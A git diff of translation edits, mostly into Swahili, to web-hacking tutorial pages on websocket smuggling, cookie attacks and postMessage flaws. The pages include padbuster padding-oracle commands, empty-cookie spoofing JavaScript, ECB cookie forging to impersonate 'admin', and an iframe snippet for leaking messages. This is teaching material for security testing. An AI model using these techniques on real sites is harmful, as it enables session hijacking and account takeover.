Most reverse proxies are vulnerable to this scenario, but exploitation is contingent upon the presence of an external SSRF vulnerability, typically regarded as a low-severity issue.
|
||||
|
||||
#### Labs
|
||||
|
||||
|
|
@ -112,12 +104,6 @@ Check the labs to test both scenarios in [https://github.com/0ang3el/websocket-s
|
|||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
|||
|
|
@ -15,13 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Cookie Attributes
|
||||
|
||||
|
|
@ -48,10 +41,10 @@ Wakati cookies mbili zina jina sawa, ile iliyochaguliwa kutumwa inategemea:
|
|||
|
||||
### SameSite
|
||||
|
||||
* Sifa ya `SameSite` inaamuru ikiwa cookies zitatumwa kwenye maombi yanayotokana na maeneo ya upande wa tatu. Inatoa mipangilio mitatu:
|
||||
* **Strict**: Inazuia cookie kutumwa kwenye maombi ya upande wa tatu.
|
||||
* **Lax**: Inaruhusu cookie kutumwa na maombi ya GET yanayoanzishwa na tovuti za upande wa tatu.
|
||||
* **None**: Inaruhusu cookie kutumwa kutoka kwa eneo lolote la upande wa tatu.
|
||||
* Sifa ya `SameSite` inaamuru ikiwa cookies zitatumwa kwenye maombi yanayotokana na maeneo ya tatu. Inatoa mipangilio mitatu:
|
||||
* **Strict**: Inazuia cookie kutumwa kwenye maombi ya wahusika wengine.
|
||||
* **Lax**: Inaruhusu cookie kutumwa na maombi ya GET yanayoanzishwa na tovuti za wahusika wengine.
|
||||
* **None**: Inaruhusu cookie kutumwa kutoka kwa eneo lolote la wahusika wengine.
|
||||
|
||||
Kumbuka, wakati wa kuunda cookies, kuelewa sifa hizi kunaweza kusaidia kuhakikisha zinatenda kama inavyotarajiwa katika hali tofauti.
|
||||
|
||||
|
|
@ -83,7 +76,7 @@ Hii inazuia **mteja** kufikia cookie (Kupitia **Javascript** kwa mfano: `documen
|
|||
* Hii inaweza kupitishwa kwa maombi ya **TRACE** **HTTP** kwani jibu kutoka kwa seva (ikiwa njia hii ya HTTP inapatikana) itarudisha cookies zilizotumwa. Mbinu hii inaitwa **Cross-Site Tracking**.
|
||||
* Mbinu hii inakwepa na **vivinjari vya kisasa kwa kutoruhusu kutuma ombi la TRACE** kutoka JS. Hata hivyo, baadhi ya njia za kupita hii zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2.
|
||||
* Njia nyingine ni kutumia udhaifu wa zero/day wa vivinjari.
|
||||
* Inawezekana **kuandika upya cookies za HttpOnly** kwa kufanya shambulio la Cookie Jar overflow:
|
||||
* Inawezekana **kufuta cookies za HttpOnly** kwa kufanya shambulio la Cookie Jar overflow:
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
|
|
@ -97,24 +90,24 @@ Ombi litatumwa **tu** kutuma cookie katika ombi la HTTP tu ikiwa ombi linatumwa
|
|||
|
||||
## Cookies Prefixes
|
||||
|
||||
Cookies zilizo na awali `__Secure-` zinahitajika kuwekwa pamoja na bendera ya `secure` kutoka kurasa ambazo zimehakikishwa na HTTPS.
|
||||
Cookies zilizo na prefix `__Secure-` zinahitajika kuwekwa pamoja na bendera ya `secure` kutoka kurasa ambazo zimehakikishwa na HTTPS.
|
||||
|
||||
Kwa cookies zilizo na awali `__Host-`, masharti kadhaa yanapaswa kutimizwa:
|
||||
Kwa cookies zilizo na prefix `__Host-`, masharti kadhaa yanapaswa kutimizwa:
|
||||
|
||||
* Lazima ziwe zimewekwa na bendera ya `secure`.
|
||||
* Lazima zitoke kwenye ukurasa uliohakikishwa na HTTPS.
|
||||
* Zinakatazwa kuainisha domain, kuzuia usafirishaji wao kwa subdomains.
|
||||
* Njia ya cookies hizi lazima iwekwe kwa `/`.
|
||||
* Njia ya cookies hizi lazima iwekwe kwenye `/`.
|
||||
|
||||
Ni muhimu kutambua kwamba cookies zilizo na awali `__Host-` haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki kinasaidia katika kutenga cookies za programu. Hivyo, kutumia awali `__Host-` kwa cookies zote za programu inaweza kuzingatiwa kama mazoea mazuri ya kuboresha usalama na kutengwa.
|
||||
Ni muhimu kutambua kwamba cookies zilizo na prefix `__Host-` haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki kinasaidia katika kutenga cookies za programu. Hivyo, kutumia prefix `__Host-` kwa cookies zote za programu inaweza kuzingatiwa kama mazoea mazuri ya kuboresha usalama na kutengwa.
|
||||
|
||||
### Overwriting cookies
|
||||
|
||||
Hivyo, moja ya ulinzi wa cookies zilizo na awali `__Host-` ni kuzuia kuandikwa upya kutoka subdomains. Kuzuia kwa mfano [**Cookie Tossing attacks**](cookie-tossing.md). Katika mazungumzo [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) inawasilishwa kwamba ilikuwa inawezekana kuweka cookies zilizo na awali \_\_HOST- kutoka subdomain, kwa kudanganya parser, kwa mfano, kuongeza "=" mwanzoni au mwishoni...:
|
||||
Hivyo, moja ya ulinzi wa cookies zilizo na prefix `__Host-` ni kuzuia zisifutwe kutoka subdomains. Kuzuia kwa mfano [**Cookie Tossing attacks**](cookie-tossing.md). Katika mazungumzo [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) inawasilishwa kwamba ilikuwa inawezekana kuweka cookies zilizo na prefix \_\_HOST- kutoka subdomain, kwa kudanganya parser, kwa mfano, kuongeza "=" mwanzoni au mwishoni...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Au katika PHP ilikuwa inawezekana kuongeza **herufi nyingine mwanzoni** mwa jina la cookie ambazo zingeondolewa na herufi za underscore, kuruhusu kuandika upya `__HOST-` cookies:
|
||||
Au katika PHP ilikuwa inawezekana kuongeza **herufi nyingine mwanzoni** mwa jina la cookie ambazo zingeweza **kubadilishwa na herufi za underscore**, kuruhusu kufuta `__HOST-` cookies:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -124,15 +117,15 @@ Ikiwa cookie maalum ina data nyeti angalia hiyo (hasa ikiwa unacheza CTF), kwani
|
|||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
Data nyeti iliyowekwa ndani ya cookies inapaswa daima kuchunguzwa. Cookies zilizowekwa katika Base64 au mifumo inayofanana mara nyingi zinaweza kufichuliwa. Udhaifu huu unaruhusu washambuliaji kubadilisha maudhui ya cookie na kujifanya watumiaji wengine kwa kuficha data zao zilizobadilishwa tena ndani ya cookie.
|
||||
Data nyeti iliyowekwa ndani ya cookies inapaswa daima kuchunguzwa. Cookies zilizowekwa katika Base64 au mifumo inayofanana mara nyingi zinaweza kufutwa. Udhaifu huu unaruhusu washambuliaji kubadilisha maudhui ya cookie na kujifanya watumiaji wengine kwa kuandika data zao zilizobadilishwa tena ndani ya cookie.
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
Shambulio hili linahusisha kuiba cookie ya mtumiaji ili kupata ufikiaji usioidhinishwa kwa akaunti yao ndani ya programu. Kwa kutumia cookie iliyibwa, mshambuliaji anaweza kujifanya mtumiaji halali.
|
||||
Shambulio hili linahusisha kuiba cookie ya mtumiaji ili kupata ufikiaji usioidhinishwa kwa akaunti yao ndani ya programu. Kwa kutumia cookie iliyibwa, mshambuliaji anaweza kujifanya kuwa mtumiaji halali.
|
||||
|
||||
### Session Fixation
|
||||
|
||||
Katika hali hii, mshambuliaji anamdanganya mwathirika kutumia cookie maalum kuingia. Ikiwa programu haitoi cookie mpya wakati wa kuingia, mshambuliaji, akiwa na cookie ya awali, anaweza kujifanya mwathirika. Mbinu hii inategemea mwathirika kuingia na cookie iliyotolewa na mshambuliaji.
|
||||
Katika hali hii, mshambuliaji anamdanganya mwathirika kutumia cookie maalum kuingia. Ikiwa programu haitoi cookie mpya wakati wa kuingia, mshambuliaji, mwenye cookie ya awali, anaweza kujifanya kuwa mwathirika. Mbinu hii inategemea mwathirika kuingia na cookie iliyotolewa na mshambuliaji.
|
||||
|
||||
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
|
||||
|
||||
|
|
@ -142,7 +135,7 @@ Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
|
|||
|
||||
### Session Donation
|
||||
|
||||
Hapa, mshambuliaji anamshawishi mwathirika kutumia cookie ya kikao ya mshambuliaji. Mwathirika, akiamini kwamba amejiandikisha kwenye akaunti yake mwenyewe, atafanya vitendo bila kujua katika muktadha wa akaunti ya mshambuliaji.
|
||||
Hapa, mshambuliaji anamshawishi mwathirika kutumia cookie ya kikao ya mshambuliaji. Mwathirika, akiamini kwamba amejiunga na akaunti yake mwenyewe, atafanya vitendo bila kujua katika muktadha wa akaunti ya mshambuliaji.
|
||||
|
||||
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
|
||||
|
||||
|
|
@ -158,17 +151,17 @@ JSON Web Tokens (JWT) zinazotumiwa katika cookies pia zinaweza kuonyesha udhaifu
|
|||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
Shambulio hili linamfanya mtumiaji aliyeingia kutekeleza vitendo visivyotakikana kwenye programu ya wavuti ambayo kwa sasa wanaidhinishwa. Washambuliaji wanaweza kutumia cookies ambazo zinasafirishwa kiotomatiki na kila ombi kwa tovuti iliyo hatarini.
|
||||
Shambulio hili linamfanya mtumiaji aliyeingia kutekeleza vitendo visivyotakiwa kwenye programu ya wavuti ambayo kwa sasa wanaidhinishwa. Washambuliaji wanaweza kutumia cookies ambazo zinasafirishwa kiotomatiki na kila ombi kwa tovuti iliyo hatarini.
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari vinaruhusu kuundwa kwa cookies bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo:
|
||||
(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari vinaruhusu kuunda cookies bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
Matokeo katika kichwa cha cookie kilichotumwa ni `a=v1; test value; b=v2;`. Kwa kushangaza, hii inaruhusu udanganyifu wa cookies ikiwa cookie yenye jina tupu imewekwa, ikidhibiti cookies nyingine kwa kuweka cookie hiyo tupu kuwa thamani maalum:
|
||||
Matokeo katika kichwa cha cookie kilichotumwa ni `a=v1; test value; b=v2;`. Kwa kushangaza, hii inaruhusu udanganyifu wa cookies ikiwa cookie yenye jina tupu imewekwa, ikidhibiti cookies nyingine kwa kuweka cookie hiyo tupu kuwa na thamani maalum:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`;
|
||||
|
|
@ -180,7 +173,7 @@ Hii inasababisha kivinjari kutuma kichwa cha cookie kinachotafsiriwa na kila sev
|
|||
|
||||
#### Chrome Bug: Tatizo la Kiwango cha Unicode Surrogate
|
||||
|
||||
Katika Chrome, ikiwa kiwango cha Unicode surrogate ni sehemu ya cookie iliyowekwa, `document.cookie` inaharibika, ikirudisha mfuatano wa tupu baadaye:
|
||||
Katika Chrome, ikiwa kiwango cha Unicode surrogate ni sehemu ya cookie iliyowekwa, `document.cookie` inaharibika, ikirudisha string tupu baadaye:
|
||||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
|
|
@ -188,11 +181,11 @@ This results in `document.cookie` outputting an empty string, indicating permane
|
|||
|
||||
#### Cookie Smuggling Due to Parsing Issues
|
||||
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Seva nyingi za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia nyuzi za cookie vibaya kutokana na msaada wa zamani wa RFC2965. Wanasoma thamani ya cookie iliyo na nukuu mbili kama thamani moja hata kama inajumuisha alama za semikolon, ambazo kwa kawaida zinapaswa kutenganisha jozi za funguo-thamani:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Seva nyingi za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia nyuzi za cookie vibaya kutokana na msaada wa zamani wa RFC2965. Wanaweza kusoma thamani ya cookie iliyo na nukuu mbili kama thamani moja hata kama inajumuisha alama za semikolon, ambazo kawaida zinapaswa kutenganisha jozi za funguo-thamani:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Uthibitisho wa Uvunjifu wa Keki
|
||||
#### Ukatili wa Kuingiza Keki
|
||||
|
||||
(Tafadhali angalia maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Ufafanuzi usio sahihi wa keki na seva, hasa Undertow, Zope, na zile zinazotumia `http.cookie.SimpleCookie` na `http.cookie.BaseCookie` za Python, unatoa fursa za mashambulizi ya kuingiza keki. Seva hizi zinashindwa kuweka mipaka sahihi ya kuanza kwa keki mpya, ikiruhusu washambuliaji kuiga keki:
|
||||
|
||||
|
|
@ -200,9 +193,9 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
* Zope inatafuta koma ili kuanza kufafanua keki inayofuata.
|
||||
* Madarasa ya keki ya Python yanaanza kufafanua kwenye herufi ya nafasi.
|
||||
|
||||
Uthibitisho huu ni hatari sana katika programu za wavuti zinazotegemea ulinzi wa CSRF wa keki, kwani inaruhusu washambuliaji kuingiza keki za CSRF-token zilizoghushi, na hivyo kuweza kupita hatua za usalama. Tatizo hili linazidishwa na usimamizi wa Python wa majina ya keki yanayojirudia, ambapo tukio la mwisho linabadilisha yale ya awali. Pia linaibua wasiwasi kwa keki za `__Secure-` na `__Host-` katika muktadha usio salama na linaweza kusababisha kupita kwa mamlaka wakati keki zinapopita kwa seva za nyuma zinazoweza kudanganywa.
|
||||
Ukatili huu ni hatari sana katika programu za wavuti zinazotegemea ulinzi wa CSRF wa keki, kwani inaruhusu washambuliaji kuingiza keki za CSRF-token zilizogaiwa, na hivyo kuweza kupita hatua za usalama. Tatizo hili linazidishwa na usimamizi wa Python wa majina ya keki yanayojirudia, ambapo tukio la mwisho linabadilisha yale ya awali. Pia linaibua wasiwasi kwa keki za `__Secure-` na `__Host-` katika muktadha usio salama na linaweza kusababisha kupita kwa mamlaka wakati keki zinapopita kwa seva za nyuma zinazoweza kudanganywa.
|
||||
|
||||
### Ukaguzi wa Keki Zenye Uthibitisho wa Ziada
|
||||
### Ukaguzi wa Keki Zenye Ukatili Zaidi
|
||||
|
||||
#### **Ukaguzi wa Msingi**
|
||||
|
||||
|
|
@ -216,10 +209,10 @@ Uthibitisho huu ni hatari sana katika programu za wavuti zinazotegemea ulinzi wa
|
|||
|
||||
#### **Mashambulizi ya Keki ya Juu**
|
||||
|
||||
Ikiwa keki inabaki kuwa ile ile (au karibu) unapoingia, hii huenda ikamaanisha kuwa keki hiyo inahusiana na uwanja fulani wa akaunti yako (labda jina la mtumiaji). Kisha unaweza:
|
||||
Ikiwa keki inabaki kuwa ile ile (au karibu) unapoingia, hii huenda ikamaanisha kuwa keki hiyo inahusiana na uwanja fulani wa akaunti yako (huenda jina la mtumiaji). Kisha unaweza:
|
||||
|
||||
* Jaribu kuunda akaunti nyingi **zikiwa** na majina ya watumiaji yanayofanana sana na jaribu **kukisia** jinsi algorithimu inavyofanya kazi.
|
||||
* Jaribu **kuvunjia jina la mtumiaji**. Ikiwa keki inahifadhiwa tu kama njia ya uthibitishaji kwa jina lako la mtumiaji, basi unaweza kuunda akaunti yenye jina la mtumiaji "**Bmin**" na **kuvunjia** kila **bit** ya keki yako kwa sababu moja ya keki ambazo utajaribu itakuwa ile inayomilikiwa na "**admin**".
|
||||
* Jaribu kuunda akaunti nyingi za **jina la mtumiaji** zikiwa na ufanano mkubwa na jaribu **kukisia** jinsi algorithimu inavyofanya kazi.
|
||||
* Jaribu **kuvunjavunja jina la mtumiaji**. Ikiwa keki inahifadhiwa tu kama njia ya uthibitishaji kwa jina lako la mtumiaji, basi unaweza kuunda akaunti yenye jina la mtumiaji "**Bmin**" na **kuvunjavunja** kila **bit** ya keki yako kwa sababu moja ya keki ambazo utajaribu itakuwa ile inayomilikiwa na "**admin**".
|
||||
* Jaribu **Padding** **Oracle** (unaweza kufichua maudhui ya keki). Tumia **padbuster**.
|
||||
|
||||
**Padding Oracle - Mifano ya Padbuster**
|
||||
|
|
@ -232,7 +225,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
|||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster itafanya majaribio kadhaa na itakuuliza ni hali ipi ndiyo hali ya makosa (ile ambayo si halali).
|
||||
Padbuster itafanya majaribio kadhaa na itakuuliza ni hali ipi ndiyo hali ya kosa (ile ambayo si halali).
|
||||
|
||||
Kisha itaanza kufungua siri cookie (inaweza kuchukua dakika kadhaa)
|
||||
|
||||
|
|
@ -244,7 +237,7 @@ Hii utekelezaji itakupa cookie iliyosimbwa na kuandikwa kwa usahihi na mfuatano
|
|||
|
||||
**CBC-MAC**
|
||||
|
||||
Labda cookie inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoundwa kwa kutumia CBC na thamani hiyo hiyo. Kama inavyopendekezwa kutumia kama IV vector ya sifuri, aina hii ya ukaguzi wa uadilifu inaweza kuwa hatarini.
|
||||
Labda cookie inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoundwa kwa kutumia CBC na thamani hiyo hiyo. Kama inavyopendekezwa kutumia kama IV vector ya sifuri, aina hii ya ukaguzi wa uadilifu inaweza kuwa na hatari.
|
||||
|
||||
**Shambulio**
|
||||
|
||||
|
|
@ -254,39 +247,34 @@ Labda cookie inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC
|
|||
|
||||
**ECB**
|
||||
|
||||
Ikiwa cookie imesimbwa kwa kutumia ECB inaweza kuwa hatarini.\
|
||||
Ikiwa cookie imesimbwa kwa kutumia ECB inaweza kuwa na hatari.\
|
||||
Wakati unapoingia, cookie unayopokea inapaswa kuwa kila wakati sawa.
|
||||
|
||||
**Jinsi ya kugundua na kushambulia:**
|
||||
|
||||
Unda watumiaji 2 wenye takwimu karibu sawa (jina la mtumiaji, nenosiri, barua pepe, nk.) na jaribu kugundua muundo wowote ndani ya cookie iliyotolewa.
|
||||
|
||||
Unda mtumiaji anayeitwa kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna muundo wowote katika cookie (kama ECB inasimba kwa kutumia funguo sawa kila block, bytes sawa zilizofichwa zinaweza kuonekana ikiwa jina la mtumiaji limesimbwa).
|
||||
Unda mtumiaji anayeitwa kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna muundo wowote katika cookie (kama ECB inasimba kwa kutumia funguo sawa kila block, bytes sawa zilizosimbwa zinaweza kuonekana ikiwa jina la mtumiaji linasimbwa).
|
||||
|
||||
Inapaswa kuwa na muundo (kwa ukubwa wa block inayotumika). Hivyo, ukijua jinsi kundi la "a" linavyosimbwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa block)+"admin". Kisha, unaweza kufuta muundo wa kisimbaji wa block ya "a" kutoka kwa cookie. Na utakuwa na cookie ya jina la mtumiaji "admin".
|
||||
Inapaswa kuwa na muundo (kwa ukubwa wa block inayotumika). Hivyo, ukijua jinsi kundi la "a" linavyosimbwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa block)+"admin". Kisha, unaweza kufuta muundo wa kusimbwa wa block ya "a" kutoka kwa cookie. Na utakuwa na cookie ya jina la mtumiaji "admin".
|
||||
|
||||
## Marejeo
|
||||
|
||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
**Kundi la Usalama wa Jaribio ngumu**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -17,19 +17,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Send **PostMessage**
|
||||
|
||||
|
|
@ -65,8 +52,8 @@ Ikiwa **wildcard** inatumika, **ujumbe unaweza kutumwa kwa domain yoyote**, na u
|
|||
|
||||
### Kushambulia iframe & wildcard katika **targetOrigin**
|
||||
|
||||
Kama ilivyoelezwa katika [**ripoti hii**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) ikiwa unapata ukurasa ambao unaweza **iframed** (hakuna ulinzi wa `X-Frame-Header`) na ambao unatumia **ujumbe wa nyeti** kupitia **postMessage** kwa kutumia **wildcard** (\*), unaweza **kubadilisha** **asili** ya **iframe** na **leak** ujumbe wa **nyeti** kwa domain inayodhibitiwa na wewe.\
|
||||
Kumbuka kwamba ikiwa ukurasa unaweza kuiframed lakini **targetOrigin** imewekwa kwa URL na sio wildcard, **hila hii haitafanya kazi**.
|
||||
Kama ilivyoelezwa katika [**ripoti hii**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) ikiwa unapata ukurasa ambao unaweza **iframed** (hakuna ulinzi wa `X-Frame-Header`) na ambao unatumia ujumbe **wa nyeti** kupitia **postMessage** kwa kutumia **wildcard** (\*), unaweza **kubadilisha** **asili** ya **iframe** na **leak** ujumbe **wa nyeti** kwa domain inayodhibitiwa na wewe.\
|
||||
Kumbuka kwamba ikiwa ukurasa unaweza kuiframed lakini **targetOrigin** imewekwa kwa URL na sio kwa wildcard, **hila hii haitafanya kazi**.
|
||||
```markup
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
|
|
@ -93,40 +80,40 @@ return;
|
|||
// ...
|
||||
}, false);
|
||||
```
|
||||
Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example).
|
||||
Note katika kesi hii jinsi **kitu cha kwanza** ambacho msimbo unafanya ni **kuangalia asili**. Hii ni muhimu sana hasa ikiwa ukurasa utafanya **kitu chochote nyeti** na taarifa iliyopokelewa (kama kubadilisha nywila). **Ikiwa haikangalii asili, washambuliaji wanaweza kuwafanya waathirika kutuma data isiyo na mipaka kwa hizi endpoints** na kubadilisha nywila za waathirika (katika mfano huu).
|
||||
|
||||
### Enumeration
|
||||
|
||||
In order to **find event listeners** in the current page you can:
|
||||
Ili **kupata wasikilizaji wa matukio** katika ukurasa wa sasa unaweza:
|
||||
|
||||
* **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)
|
||||
* **Execute** in the developer tools console: `getEventListeners(window)`
|
||||
* **Tafuta** msimbo wa JS kwa `window.addEventListener` na `$(window).on` (_toleo la JQuery_)
|
||||
* **Tekeleza** katika console ya zana za maendeleo: `getEventListeners(window)`
|
||||
|
||||
 (1).png>)
|
||||
|
||||
* **Go to** _Elements --> Event Listeners_ in the developer tools of the browser
|
||||
* **Nenda kwa** _Elements --> Event Listeners_ katika zana za maendeleo za kivinjari
|
||||
|
||||
.png>)
|
||||
|
||||
* Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you.
|
||||
* Tumia **nyongeza ya kivinjari** kama [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) au [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Hizi nyongeza za kivinjari zitachukua **ujumbe wote** na kuonyesha kwako.
|
||||
|
||||
### Origin check bypasses
|
||||
|
||||
* **`event.isTrusted`** attribute is considered secure as it returns `True` only for events that are generated by genuine user actions. Though it's challenging to bypass if implemented correctly, its significance in security checks is notable.
|
||||
